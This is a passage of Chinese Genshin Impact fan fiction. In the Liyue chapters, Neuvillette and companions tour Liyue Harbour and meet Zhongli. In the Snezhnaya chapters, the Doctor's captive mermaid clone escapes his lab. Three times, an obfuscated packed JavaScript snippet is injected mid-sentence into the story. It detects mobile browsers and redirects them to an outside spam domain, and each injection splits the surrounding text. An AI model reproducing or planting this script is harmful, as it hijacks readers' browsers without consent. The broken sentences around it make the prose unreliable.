梅内娅没有什么想法,大口大口的用汤匙将饭菜塞进嘴里。她在纳塔待过一段时间,对于稻米这种主食接受良好:“璃月人做菜真好吃,和枫丹纳塔的滋味都不一样。” 无论浓油赤酱或是清汤寡水,璃月的烹饪美学都能做到平和,咸淡正好。那维莱特几乎每一道都品尝过,最终果不其然的选择了几道汤水多的菜肴继续填饱肚子。 其实那维莱特不怎么挑食,他只是更偏好水以及汤品。相比静原那种明显的不肯碰一口不喜欢的家伙,那维莱特已经省心太多。 吃完饭侍者前来收拾,引导外国客人们如何使用房间里的盥洗设备,末了又回答几个常见的问题然后离去。 剩下的事就不用静原担心了,他简单冲了个澡换了衣服就躺在床上,满脸都写着困倦,想睡觉。 “那便睡吧。”那维莱特离开房间前俯身给两个眷属掖好被角,“我就在隔壁房间,有需要就叫我。” “好哟。”静原合上眼睛笑笑,“晚安,那维莱特。” 旁边小床上的梅内娅也跟着乖乖说晚安:“那维莱特大人,今晚要做个好梦呀。” “晚安,卡吕普迪斯。晚安,梅内娅。”那维莱特轻笑,“我想会是个美梦。” 静原是真的困了,从枫丹沫芒宫一路东行到璃月望舒客栈,要是穿了鞋连鞋底都能磨破,何况他光着脚。躺在床上浑身放松,脚底一片酸软,闻着房间里好闻的桂花熏香,很快进入酣甜的梦乡。 至于那维莱特是不是真的去睡了,另说。 第二天早上醒来没有在望舒客栈看见钟离,想来应该是早就离开了。他见那维莱特神色如常,估计没出什么问题,于是放下心来吃客栈提供的早餐。 后厨见梅内娅是孩子,特意多送了一盏琼玉果汤,说是天寒怕孩子受凉,温盏糖水甜甜嘴润润喉。 “在璃月,果然还是孩子更讨人喜欢呢。”静原感慨,他刚来璃月时,只能找老婆婆蹭些食物。 梅内娅安慰他:“没事的,因为梅内娅喜欢你呀。” 那维莱特低头浅笑。 吃过早饭继续南下,今天没有凭脚走,而是租了商队的车马代步。离开望舒客栈地盘时静原回头望了一眼。 “怎么了?”那维莱特不明所以。 “看那个小哥在不在树顶。”静原说,“昨天看他似乎有话想跟我说,不过等了半天也没见他开口,今早也没有看见他,估计是有事忙吧。” 那维莱特:“你以前见过他?或者他认识你?” “怎么说呢。我的确是知道他的事迹以及名讳的,毕竟工作性质和我类似嘛。但以前没见过他,也没说上话。看他的样子可能也是单方面认识我?”静原大胆猜测,“莫不是我哪一年来璃月港路过这里,被他看见了吧?” 看魈那个态度,肯定是知道卡吕普迪斯这个长生种存在的。 那维莱特对这些并不在意,因为那只金鹏小鸟没有恶意,卡吕普迪斯如果要结识对方当然没问题。 “今天要去哪里?” “去璃月港,中午吃新月轩的饭。福勒依斯预订好了。”普通人吃新月轩要提前三个月才能预订上一桌席面,福勒依斯使了些手段,提前一个月定下几桌酒席。今天的这桌给了静原用,“海灯节期间,璃月港会有很多外国人和本地人一起看灯。今天晚些回去的话,我们也能看上。” “好。”那维莱特点头应允,毕竟他的假期可以持续到明日早上八点上班,“不急,我们的时间还有很多。” 梅内娅更是完全听家长安排。 车马晃晃悠悠,太阳高挂天空时,已经可以瞧见下方临海的港口之都了。千帆云集,万邦来朝的璃月,三千七百年的文明古国。金瓦红墙,雕梁画栋,碧栏青砖。金色却砂树和红枫摇曳,按理来说应该冬季,这座城市因为临海而温暖,竟然像一直被秋天所眷顾那般。 和枫丹廷因为逃避上涨的海水所以越修越高不同,璃月港是平面纵横的。站得高些,基本能将城市内建筑布防一览无余。稍微高些的建筑也不过三四层楼。更高的地势在过去是岩王帝君的办公住所,不过现在基本留作月海亭办公用了。 你问静原为什么知道? 去年来璃月港过海灯节的时候听钟离讲的。 静原带着一大一小从北港走到绯云坡,逛逛两侧的店铺,挑些精美的布料、古董、瓷器。 “好像……有些多了?”那维莱特拎着大包小包,虽然他拎的动不假,但是手要塞不下也是真的。 “给我拿一些吧。等会我们去镖局寄存,请他们送去枫丹物流。”静原正在给梅内娅挑青玉项链,“那维莱特,你看是兔子的好还是锦鲤的好?” 璃月人会给孩子用红绳挂玉或者银锁佩戴,寓意平安。静原比较喜欢玉的质地,而且玉石比金属更耐海水腐蚀。 那维莱特俯身凑过来看:“都很不错,梅内娅,你喜欢哪一个?” “不知道哎,我觉得都很好看。”小兔子很可爱,小鱼也是。 那维莱特果断拍板:“那就都要,换着戴。” “鲤鱼换这个双鲤的吧。”静原给梅内娅戴上兔子玉坠,剩下那个换成双鲤后打包起来装袋。 俩家长都只想着给孩子买,自己倒是对首饰什么的不在意。那维莱特是因为职业考虑,不宜佩戴多余的名贵首饰。静原则是懒得搞。 逛完绯云坡,走过木桥来到南港的地盘。找镖局签下货物运输单子,居然有人认得他。 “静源先生?” “嗯?你是……?”静原一脸诧异的看着眼前的少年人,偏红的发色和这双眼睛,莫名有些眼熟,但想不起来在哪见过。 “我是叶嘉明,听老爸和旅行者说起过您。蓝色的头发,蓝色的眼睛,不穿靴子的漂亮年轻人,一定是您没错啦。”嘉明笑起来,“认出来您,没道理不和您打个招呼。” 原来是这样。静原琢磨起叶这个形式,莫名明白了些什么,眼角带了几分笑意:“你在镖局做工?家里不是做瓷器和茶叶生意吗?” “哎呀,就是因为不想接手家里的生意才跑出来走镖的嘛。”嘉明摊手,“年轻人总会想着自己外出走一走闯一闯,您也会理解的吧?” 静原觉得这小子的态度有些奇怪,不过不在意:“确实,年轻人有朝气敢想敢做是好事。不过走镖风险相对来说高一些,注意安全,家里还有人等你回去呢。” 少年笑得眉眼弯弯,连连点头。 在三碗不过岗皱着眉头品尝酒酿的那维莱特和梅内娅终于等到了向导回来。 “你看起来心情不错,是遇到了什么有趣的人或事吗?”那维莱特对于他的情绪变化相当敏锐。 “遇到了故人的后代。居然猜到了我的身份。”静原回来路上一直在想叶嘉明的眼神隐含了什么意思,“感觉静源这个名字在有心人眼里已经和卡吕普迪斯划上了等号。” 沉玉谷有鲛人祠,由叶家主持供奉。叶家就是嘉明的本家,小时候估计见过那座重修后和静原更像的雕像——自打有叶家后人认出他后,那座鲛人祠就经历了大大小小的修缮,外形已经十分接近静原了。 多余的话不必多说,他看那维莱特有些不喜欢酒酿圆子:“吃不习惯吧?少少尝一口试试味道就行了,不用那么老实的吃完。” 那维莱特确实吃不惯酒酿:“虽然酒也是用水酿造的,但是总觉得有一股酸味。” “毕竟是米酒啦……吃不完别硬撑。糯米汤圆不容易消化,梅内娅也不要勉强。”静原像个操心的老婆婆一样,看着一大一小吃饭都不省心。 (其实最不省心的是他自己) 小姑娘嚼嚼嚼的动作没停下,不过还是乖巧点头:“好。” 午饭在新月轩吃,汤品多为小火慢炖,肉酥骨烂的浓汤。那维莱特浅浅喝了一碗,每盘菜都能吃两筷子的量,然后放下餐具,饱了。 静原把糖醋小排连骨头都一并嚼了,嘎吱脆。那维莱特听见这声音就很高兴,这表示卡吕普迪斯牙口很好,身体健康,远比以前只肯吃素喝水强。 放在现世,他大概会是那种喜欢看小狗吃播的人类。 吃过午饭继续逛街,在南港更接近平民的坊市淘些小玩意。街边巷尾都是小吃摊贩,冰糖葫芦小笼包煎饼卤煮什么的吸引本地老饕和外敌游客驻足。因此人流量极大,甚至称得上有些拥挤,静原干脆抱着梅内娅往前走。 那维莱特很久没有这样走入人群中,对于周围人不经意间碰到他肩膀的行为没有任何不愉快,反而高兴的弯弯眼笑。 作为审判官时,他理所应当的对外保持距离。无论公事私事,这种恰到好处的距离感能增加人们对审判官的信任度。不过,如果他是以游客身份而非审判官身份来璃月的话,便不需要时时刻刻保持那种让人敬而远之,望而生畏的距离感了。 “走入人群中的感觉不错,对吧?” “我想是的。” 那种为节日欢庆展露出的喜悦与兴奋,就像街头巷尾悬挂的红灯笼一样,明晃晃又显眼,直白的让人感受到热烈。那维莱特静静的注视这座历史悠久的港口城市,面上是他自己也未曾发觉的笑容。 直到他的视线穿过人群,落在了某个站在面具摊边的男人身上。 龙鳞暗纹的长摆衣衫,后腰缀着颗岩属性的会发光的玻璃珠。气度沉稳,哪怕深处人群中,也难掩周身气质。 卡吕普迪斯和对方相识,却一直将其当做学识渊博的普通人,未曾察觉有什么不对劲吗? 果然只是一条小鱼啊。 那维莱特心想,卡吕普迪斯果然还是太单纯了。 (静原:谁?我吗?呆滞.jpg) 既然如此,自己作为王更要好好把关才是。 于是年轻的龙王紧盯某人不放,目光似乎凝成实质。 钟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14503388|140426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 离某人:“嗯……” 这种如有实质般的灼热目光,究竟是为何啊。 钟离尝试寻着目光回望,却看到了某个眼熟的家伙。明明是来度假的,穿得好像下一秒就会站在审判庭主持审判工作一样。目光沉沉,不管钟离如何尝试移动自身,那道目光都没有从他身上挪动半分,甚至更加炽热了。 钟离摸着下巴:“唔……有些难办啊。” 他低低的念着,不知静源小友身在何处,为什么不将他的“兄长”看紧一些。 作为聪明人,他当然不能立刻转身离开。钟离暂时捏不准这位年轻龙王的心思和脾气,不知道转身就走会不会引来对方的追逐。万一对方大喇喇的当众喊出他的名字——退休生活岂不是过到了尽头……嘶…… 真是失策……钟离抬手挑着面具,这面具可真是面具啊,早知道那维莱特会出现在这里,他就不该找由头躲避堂主的促销推销计划。 堂主今日怎的还未遣人来寻他? 钟离等的实在是有些难耐了。 “那维莱特!你怎么跑哪里去了!”静原抱着梅内娅刚走了几步看小摊上的珠钗首饰(虽然家里没人戴但是不妨碍欣赏送人),扭头想问问那维莱特的意见,结果就看见水龙站那稍微高点的台阶上,背影都透出一股莫名的坚定,堪称气势昂扬。 静原诧异:你在坚定个什么? 静原眼一眯,发现事情变得不对劲了起来。 他抱着孩子噔噔噔又走回去:“不是我说你站这当成衣店广告招牌呢?看啥这么入迷……哎哟我去……” 他也看见了背对着他们挑面具的某人。 我知道你讨厌神,但也不至于像个活体雷达一样紧盯着不放吧? 静原终于知道那股子坚定的气势从何而来,敢情真是斗志啊。 他决定主动出击。 “钟离先生!又见面啦!” 钟离扭头就瞧见蓝发的水族青年站在那维莱特身边对自己招手,心底生出一种临上刑场般坦然的错觉。 于是钟离微笑:“看来你我颇有缘分,小友。” 四位最终选在了岩上茶室交流。梅内娅还是个小姑娘,不理解大人之间的话,于是静原点了茶水点心让她吃。至于钟离和那维莱特,本来以为他们没心情尝点心喝茶水。谁知道那维莱特居然主动且友好的将一碟点心推到钟离面前,示意他品尝。 静原有点小惊喜,开窍了?不容易啊那维莱特。 那维莱特不仅示好,还主动挑起话题:“听闻贵国神明摩拉克斯逝世,我深表遗憾。” 钟离面带微笑,如鲠在喉。 这是威胁吗?这是威胁吧。 你这话怎么听都是在说摩拉克斯死得太早,我还没审判很遗憾…… “神明离世,举国哀恸。但岩王帝君他老人家就这样撒手,想来也是为了给璃月成长的机会。”钟离说,“璃月顺利从神治过渡到了人治,这便足矣。其他的都不重要。” 那维莱特听他说了这番话,也不表态。就那样平静的注视着对方。 钟离低头喝茶。 静原围观这一场干干巴巴的对话,有点想笑:“那维莱特,你总盯着钟离先生做什么呀。” “钟离先生眼尾的红妆,很特别。”水龙不等旁人松口气,道,“就像血一样。” 钟离:“……”现在的年轻龙都这样打比方的吗? 静原表情十足的诧异:“血吗?我觉得像是夕阳时分天空云彩的颜色。对了钟离先生,璃月人是不是都酷爱在眼角抹红眼影啊?有什么讲究或者起源吗?跟我们讲讲吧。” 这样明摆着给台阶,钟离自然会顺着下。幸而那维莱特不再紧盯着他不放,而是转头去给一直乖巧听他们聊天的梅内娅擦擦嘴角的糕点渣。 大概聊了半个时辰,往生堂的堂主胡桃终于逮到了偷闲的客卿:“钟离先生可让我好找,居然在这躲清净。咦?这不是静源先生和那维莱特先生吗?今年也来璃月港过海灯节呀。看你们跟我家客卿聊得这么高兴,又是有缘人,去我那吃顿便饭如何?哦哟哟,客卿你笑起来真好看,好啦好啦,我知道你也高兴,只是不好意思的。” 钟离的表情看上去一切如常,实际上快要憋出内伤了。 静原没忍住,把脸埋在那维莱特后背笑得一抖一抖。那维莱特不明白他笑点在哪里,只能等他笑完直起身子后摸摸脑袋安抚。 最终那层薄薄的窗户纸还是没有捅破,他们两个处于心照不宣对方身份的情况且都认为静原这个没心眼的家伙不知道。 静原:我在你们心底到底是个什么人设? 梅内娅微微一笑:大概和我同一个待遇吧。 鉴定完毕,真的当小孩了。 在摩拉克斯这种三千七百岁保底年纪的魔神面前被当成小辈还情有可原,那维莱特我跟你同岁你为什么也要把我和梅内娅划一档啊! 那维莱特:因为你还只是一条小鱼。在海中长大,不明白世上的恶神到底有多么凶险。 静原露出了智慧的眼神。 最后还是在胡堂主的盛情邀请下去往生堂吃了顿员工餐,说实话味道很不错。胡桃还惦记着去年认识的芙宁娜,希望以后还能见到芙宁娜。 “多来璃月玩哦!下次要带芙宁娜一起来!我带她去无妄坡看星星看月亮!” 这是胡堂主要他们转述给芙宁娜的话,在场几个从事丧葬行业的人没有不知道无妄坡是什么地方的,纷纷露出不忍直视的表情来。 只有那维莱特和美露莘梅内娅真的不知道无妄坡是什么地方,深觉璃月人热情好客,于是认真说一定会把话带到,感谢胡桃女士的盛情款待和邀约。 静原捂着脸,觉得这顿饭真是太难消化了,他有点胃痛。 胡桃女士,你只是觉得芙宁娜逗着好玩很有趣,想带她去无妄坡探险捉鬼吧? 胡桃眨眨眼。 静原觉得自己大概很长一段时间内都不会踏足璃月港了。 钟离:你来可以,别带他。 钟离还盘算着叫魈和静源多认识,两个孩子凑在一起,人鱼能带着沉默寡言的小鸟活泼些呢。 93.猎人与猎物 【时间】之下,众生皆平等。 无论是长寿还是短生,无论是强大亦或是弱小,无论痛苦亦或爱恋,都将在【时间】的漫长磨损中泯灭。就像久经风蚀的岩土,就像烈火灼烧下的江河。 但【时间】不是一直向前的。 “人类对【时间】的定义源自神明,执拗的认为时间是流逝的水,一去不返。我因此好奇,在神明的时代之前,提瓦特是否有【时间】这个概念。” 薄荷蓝的卷曲短发,明红的眼瞳。说出这番话的人常年待在实验室不见天光,皮肤是明显的苍白。可若因此将他和刻板印象里的文弱实验成员划等号,可是要为自己的轻狂与傲慢付出代价的。 博士的本体匀速摇晃试管里的血清,他面前的是泡在微型海洋生态缸里的人鱼。二者目光隔着透明的钢化玻璃对上,一红一蓝。 “你觉得呢。” 人鱼并不回答。 说是微型海洋生态缸,其实并不微小。占据了偌大核心实验室最中心的场地,直径二十米的圆柱,头顶连通上面两层。底下仿枫丹浅海区制作了海床和珊瑚礁,密密的海藻林为人鱼提供视线遮蔽的安全感,暖色调的鱼群环绕,重甲蟹和鳐鱼不至于让人鱼寂寞。就连那张用来当床的粉色砗磲也是千里迢迢从枫丹海运来的上等货,不比本尊用的差。头顶的日光灯严格按照外界的日月更替而变化,制氧设备兢兢业业工作,不曾怠慢。 可想而知,这处微型海洋生态缸耗费了多少人力物力财力,才能把胚胎形态的人鱼拉扯到人类少年时期的模样。 至少【富人】潘塔罗涅每次来验收博士实验室周期性成功,都得特意绕到这里对着海洋生态缸沉默半天,但是这个项目申请的后续资金扶持却是没少过一粒摩拉。 博士有时候会来生态缸前面对着人鱼自顾自的聊一会天,观察对方的表情,评估对方的学习能力。 是的,他没有让任何实验人员和人鱼产生交流。包括但不限于语言、眼神、肢体。就连潘塔罗涅老爷这个最大的出资人都不可以。 只有博士能够和他说话,所以他每次看见博士来,都会像小兽一般潜游向下游到对方面前,目光紧紧相随。 按理来说水的声音传递具有延迟性,但他听得没有阻碍。 用“他”来称呼人鱼似乎不太合适,那就采用博士实验室对他的指代性称呼吧。 Kappa,卡帕。他们这么称呼他。 上一个Kappa指代的是博士的某个切片,不过早在Omega和草神的交易中毁去了。 卡帕对自己的名字没有表现出什么明显的喜恶,但他知道卡帕是这些人对自己的称呼,因此每当博士这样呼唤的时候,他就会从最靠近日光灯的地方往下游,隔着冰冷的玻璃靠近对方。 多数时间博士来都只是为了取走他身体的某个样本,比如皮肤比如血液比如鳞片,每一次的剂量都不多,也不痛。 因为第一次感受到疼痛的尖锐时,卡帕的声音化作铁锤将周围所有未经特殊手法固划的玻璃材质物体震个粉碎,当天所有在实验室的人听力都受到了不同程度的损伤。有的只是耳鸣几天,有的当场耳膜破裂失聪,更有甚者直接陷入莫名的癫狂中,皮肤寸寸崩裂当场死去。这些症状毫无规律,完全随机。更不用提血清药剂各种液体融在一起,什么用都没有了。 博士不在意人员的折损,但如果是正在做实验的人受伤导致实验无法继续又没有人可以接替时,他就必须在意了。卡帕不是实验室里的小白鼠,考虑到未来会有某个难缠的家伙接他走,博士不能因为一时的生气做出什么糟糕的决定。 你说再创生一条人鱼?博士不是没想过。可是当初从卡吕普迪斯身上取走的样本只能够一个切片存活。就算从卡帕身上取样本进行切片实验,所有培养材料都会诡异的在细胞无限繁殖前同时失去活性。 就像存在什么诡异的基因锁一样,世上最多只能有两个卡吕普迪斯存在。 更不用提在卡帕内没出现重大问题前再做一个切片,耗费的不必要的资金数额是平民难以想象的天文数字。博士那位好合作搭档富人只会狠心驳回下一次的资金申请,一口气削减他其余实验项目50%的预算。 天才傲慢如博士,也是要为最大的金主稍稍后退一步的。 于是他捏着鼻子去处理实验室的惨况,发现卡帕静静的蜷缩在粉色砗磲床里休息,对外界声音充耳不闻。自那以后,博士花了很多时间重新取得卡帕的信任,用无痛的方式取样本,顺利得不可思议。 如此厌恶痛苦吗?只要麻痹他对于痛觉的感知,似乎做什么他都不在意。 博士对这个发现很高兴。 “多托雷,上次那种血清成品还有吗?” 带着银链眼镜的儒雅男人裹紧了执行官大衣,多托雷的实验室真是一如既往的冰冷啊。 “等会我让zeta送到你那。”博士刚从核心实验室出来,没有戴面具,“怎么,今天来就是为了要血清?富人老爷。” zeta就是上次去至冬冰原抓出逃的实验样本,意外发现卡吕普迪斯的那个鸟头面具切片。 很显然潘塔罗涅是知道多托雷新做切片的,二人私交不错,闻言只是捏了捏眉心:“卡皮塔诺发现那些血清的衍生品能让植入人员产生一定程度的深渊抗体,说什么都要我再弄一批给他。” “队长从纳塔回来了?” “omega和zeta两个忙得脚不沾地,你待在实验室这么久不出门当然不知道。可惜我刚铺垫好的美容市场,那么大的市场份额这次吃不到口。”潘塔罗涅也没想到人鱼的血清具有相当强烈的促进细胞再生和抗氧化作用,“谁叫贵族小姐打了美容针跑去雪原,不凑巧的撞上了深渊裂隙涌现的魔物。又得队长所属的士兵救助,意外发现深渊力量没能彻底入侵她的神智和灵魂,层层上报,卡皮塔诺才找到了北国银行。” 换在以前,潘塔罗涅绝对不会这么容易把到手的利益拱手相让,让卡皮塔诺去给那些注定当炮灰的牺牲品注射。可谁让对面的是深渊,不仅女皇会全力支持卡皮塔诺,从枫丹回来的阿蕾奇诺连带着背后的壁炉之家都会向他这个行长施压。 有时候潘塔罗涅也会觉得自己倒霉,想挣点钱怎么这么难。 博士,多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14517079|140426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 托雷光看富人老爷的眯眯眼就知道这位大银行家又没琢磨好事,不过那有什么要紧的呢?总归不影响他继续实验。 那只薄荷色的小鸟又来了。 还带着他的黑蛇朋友。 卡帕隔着鱼缸看着走向他的两只小动物,黑蛇把自己裹得毛茸茸,小鸟又摩擦他的鸟喙。卡帕主动把手伸进平时取血的细长管道里,心想要喂饱一只爱吃血的小鸟真是不容易,更别提小鸟还会带朋友来用餐。 有点不乖,不过黑蛇毛茸茸的很可爱,原谅他好了。 卡帕,或者说人鱼打了个哈欠,看着薄荷色小鸟满意的取走了今天额外多要的血。 小鸟吃的高兴了就会叽叽喳喳的唱歌,在安静的环境里很响亮,很有趣。薄荷色的羽毛都会蓬松起来,看着就软乎乎的,肯定很好摸吧。 小鸟,可爱的小小鸟~ 小鸟,我要拔你的羽毛~ 我要拔你尾巴的毛~ 我要拔你脑袋的毛~ 小鸟~小鸟~ 小鸟,可爱的小小鸟~* 等小鸟长大,他就可以拔下小鸟的羽毛用来收藏。人鱼越想越高兴,忍不住哼起歌来。 潘塔罗涅捂住耳朵,好像有一只手在肆意揉捏他的脑仁,头疼欲裂,似乎脑子下一秒就会炸开一样。 时间过得如此漫长而又短暂,直到卡帕唱完,富人老爷浑身湿漉漉的,像是刚从水里打捞起来。流了太多汗,银行家瘫坐在真皮软椅上。该感谢多托雷把他办公室唯一一张软椅让给了自己吗? “潘塔罗涅,让我检查一下你的脑子。” 潘塔罗涅闻言眯眼笑了笑,极其疲惫但硬是打起精神来了:“好啊,那就劳烦博士大人了。” 换在以前,多托雷对他说这种话纯粹是讽刺他脑子不清醒,不过今天情况特殊。 因为多托雷的表情很差。 “难道我要被卡帕的歌声杀死了?”潘塔罗涅还有心情打趣,“放心吧,我死之前会把你的实验尾款结清的。” “你舍不得死,也不会死在这里。”多托雷收回放在潘塔罗涅两侧太阳穴上的双手,“该死的,他一直在装。” 那条人鱼,那个卡帕,那个试验品,居然一直在伪装自己,把自己塑造成真的不谙世事的纯真模样。 如果不是今天不知道是什么因素引起了变量,他恐怕还会被卡帕蒙在鼓里。 这简直是耻辱。 为什么一个从未和外界有过沟通的生命,会哼唱歌谣,会自主伪装,会用自己的声音造成破坏? 潘塔罗涅老爷看着他的合作伙伴几乎是咬牙切齿的宣布:“我要切下他的脑子看看里面都装着些什么。” 博士是个掌控欲很强的男人,他探寻未知与不可知,但如今的情况显然不容乐观。 他讨厌被人愚弄。 “哎呀,这可真是……” 富人眯起眼睛,注视着博士大步离去的背影。 只是切片,只是声音,就有这样强烈的精神攻击力量吗?为何从枫丹传回至冬情报里没有这一条? 无人在意的角落,室内的风在流淌。 94.小鱼小鱼快快游 人鱼又看到了他豢养的薄荷色小鸟。 小鸟今天来得很频繁。因为生气,羽毛都变得愈发蓬松,本来修长华美的身姿也变得像一颗蓬蓬的圆球。 “卡帕,你学会了说话。”博士笃定道,“是谁教唆了你?” 人鱼眨了眨眼,对他微笑。博士不否认人鱼的面貌继承那位海洋守护者,十足的美丽。但在科学家看来美貌不值一提,众生芸芸,人鱼自身的价值远超于他的美貌。 “……很好。”冷静下来后,博士也露出笑容,“看来那位守护者大人收货时间得推迟一些了。” 那天过后实验室发生了什么一直是一个迷,多托雷听到“人鱼”这个单词就会异常暴躁不好惹,一时间人鱼成为博士麾下愚人众成员的禁忌。 潘塔罗涅那天稍微修整好后就离开了实验室,对后面发生的事故也不知情。考虑到合作者的心情,银行家先生决定不去触这个霉头。 女皇对于执行官各自的追求采取默许甚至鼓励的态度,多托雷喜欢做实验,做了什么实验,她都不会过问。因此下面闹出的乱子在不危害大局时,女皇端坐高台,并不言语。 绝大多数执行官们对于博士新造切片zeta的二次销毁表示愉悦。这个同事热衷于把自己切成多份全世界乱跑,古怪如执行官也不太能接受这种精分行为。前阵子全盛时期的切片omega从须弥回来,其余切片莫名其妙全部核心爆炸。博士扣着经费紧急加工一个切片zeta出来分担他的工作和实验项目,结果没过多久又销毁了。 真是大快人心啊多托雷,把切片用来挡伤害的你可真是狼狈啊。 “这是本月第几次实验材料出逃了?”【木偶】单挑眉,几乎把你行不行啊博士这句话写在脸上。 她知道一些内情,但也只有一些。据说那个逃出来的实验材料和枫丹某位长生种有着密不可分的联系。 如果是大守护者卡吕普迪斯的话……枫丹出身的【木偶】不介意给这位好同事多使一些绊子。 博士带着那张鸟嘴面具,但微微偏过来的头颅昭显他不善的目光如有实质:“如果你不想那些机械造物通通被戳中核心爆炸,最好闭上你的嘴。” 木偶哼笑一声,却也没说什么。二席对于三席以下的执行官在实力上处于绝对优势,不到万不得已,没人想去触怒一个神经病。 其他尚在至冬的执行官都不想触这个疯子的霉头,底层愚人众更不想,一时间对于至冬领土内的河流湖泊海洋各个出入口把控严密起来。 因为有尾巴的人鱼是无法在陆地上久留的。 “他还没有【进化】出人类的双腿,只能栖息在水域。”那位大人是这么说的,手下自然照办。 虽然大人很生气,但改抓还是得抓啊。 至冬的风像是寒光凛冽的尖刀,剖开迷雾,划开冰面,割开人鱼脆弱的皮肤。 他顺着河流慢慢游动,并没有对自己是在出逃这件事有任何紧迫感。哪怕凛冬的寒风吹得他脸生疼也顾不上在意。 他正伤心呢。 辛辛苦苦养得那么大的薄荷蓝色小鸟居然想要挠他的头,是在模仿大山雀捕食吗?这可不行。人鱼虽然喜欢这只小鸟,愿意陪着他玩过家家的扮演游戏,但也没到容忍他如此放肆的地步。 因为那样会很痛的。人鱼讨厌痛感。 当时小鸟的鸟喙越来越近,人鱼只能将自己的一根手指触碰固化后的玻璃缸,锋利的指尖用了些力气,裂痕自那一点向外寸寸扩张,蛛网顷刻间形成。 小鸟没有动,小鸟一点也不怕。 人鱼叹了口气,一圈打在蛛网上,于是这个号称用了提瓦特已知硬度最高矿物合成“玻璃”材质的生态缸就这样被轰出个大窟窿,海水汹涌喷出,却在触碰博士的脚尖与衣袍前自动分化为两股。 这是一只会玩水的薄荷蓝色小鸟! 人鱼的眼睛亮晶晶,在灯光照射下更像是上流阶级追捧的蓝宝石,水蓝色的眼睛一眨不眨。 会玩水的小鸟,就能到水里来陪我吧? 人鱼这样想着,对博士伸出手。而博士也攥住了人鱼的手腕。 长生种的力量与神赐的力量激烈碰撞,鱼在浅水滩戏弄喝水的乌鸦。有型的漩涡在卡帕身后显现,强大的吸力和人鱼恐怖的握力抓住博士的手不放。对于他的攻击熟视无睹,将他往下拖拽。 但博士硬生生用□□抗住了这样的吸力,一个假动作让人鱼甩尾去抓他设下的陷阱(被抓过来的倒霉蛋zeta),自己则用手术刀割下人鱼一块乳白色的尾鳍。 下意识采取的无痛切割让已经适应了手术刀在身上作用的人鱼没有升起防备心,因此人鱼通过漩涡乱流游出去很远后才后知后觉有什么掉了。 原来是一半尾鳍呀。 卡帕动了动尾巴,没感觉到痛就放任不管了。反正还会长出来的,就像小鸟在他身上取走的其他东西一样。 而博士正在实验室里处理这块乳白色尾鳍,以前好吃好喝供着卡帕的时候,卡帕从来不肯让人触碰他的尾巴(卡帕:因为尾鳍很锋利,我在保护你唉小鸟),尾鳍和大脑算是他唯二没有获取的人鱼身体组织了。 如今只剩下大脑。 其实卡帕几乎全凭直觉做事。至于他为什么会知道博士特意不让他触碰的外界知识……因为风告诉他了呀。 多托雷的实验室很大,又处于底下空间,风扇等排气装置常年兢兢业业默默无闻的工作。有风流动在实验室是再正常不过的事情了。 自北风中诞生的精灵一直陪伴着卡帕长大,为了躲避博士那双异于常人的眼睛,北风的精灵常常把自己藏在通风口,细微的风元素力被稀释,加上实验室里常有元素反应实验,因此精灵把自己隐藏得很好。等博士离开,不在卡帕面前晃悠时,北风的精灵就去找卡帕聊天,跟他讲述外面的故事。用卡帕最熟悉的事物帮助他理解外面的世界。比如博士的头发颜色是薄荷蓝,薄荷是能带给人清凉感的植物。博士带着的面具是鸟嘴形状,尖尖的喙取血,就像鸟啄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14533728|140426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 食一般。 潘塔罗涅是个阴险的银行家,穿得一身黑,又是黑色的头发,所以他被卡帕理解为黑蛇。 北风的精灵告诉人鱼,你是海洋的孩子,你是深海的精灵,你有能力打破桎梏游向海洋。你不用惧怕这里的一切,包括带来死亡与寂静的冰冷。 人鱼相信北风的精灵,因为有时候他自己都不明白大脑里储存的知识是什么。北风的到来为他做出了解释。 就像身怀宝库钥匙却不知道这意味着什么一般的稚子,北风的精灵教会他如何使用钥匙打开知识的宝库。 “笨蛋卡帕!怎么能连尾巴掉了一半都不知道!”北风的精灵外形酷似一只雪鸮,羽毛的色彩就像至冬的土地一般,黑泥土上覆盖白雪,不规则的分布着白与黑的羽毛*。生气的时候张开翅膀扑腾,白白的胸脯鼓鼓囊囊,“你难道不会痛吗?” “我会痛,但是尾巴掉了不痛。”卡帕嘟囔着,“没关系啦西琳,很快就会长好的。” 人鱼的再生能力很强悍的。 名为西琳的北风精灵再三确认他真的不痛后,这才勉强接受这个回答:“逃出来后有想去的地方吗?我也可以送你回家。” “回家?”卡帕模仿着西琳的语言,吐出意义不明的一段呓语,“有你在的地方才是我的家呀,去哪里都可以的。” 一发直球给西琳干懵了,北风的精灵看着说完这句话后就低头去看怀中机械头颅的人鱼,不知道要怎么告诉他事实。 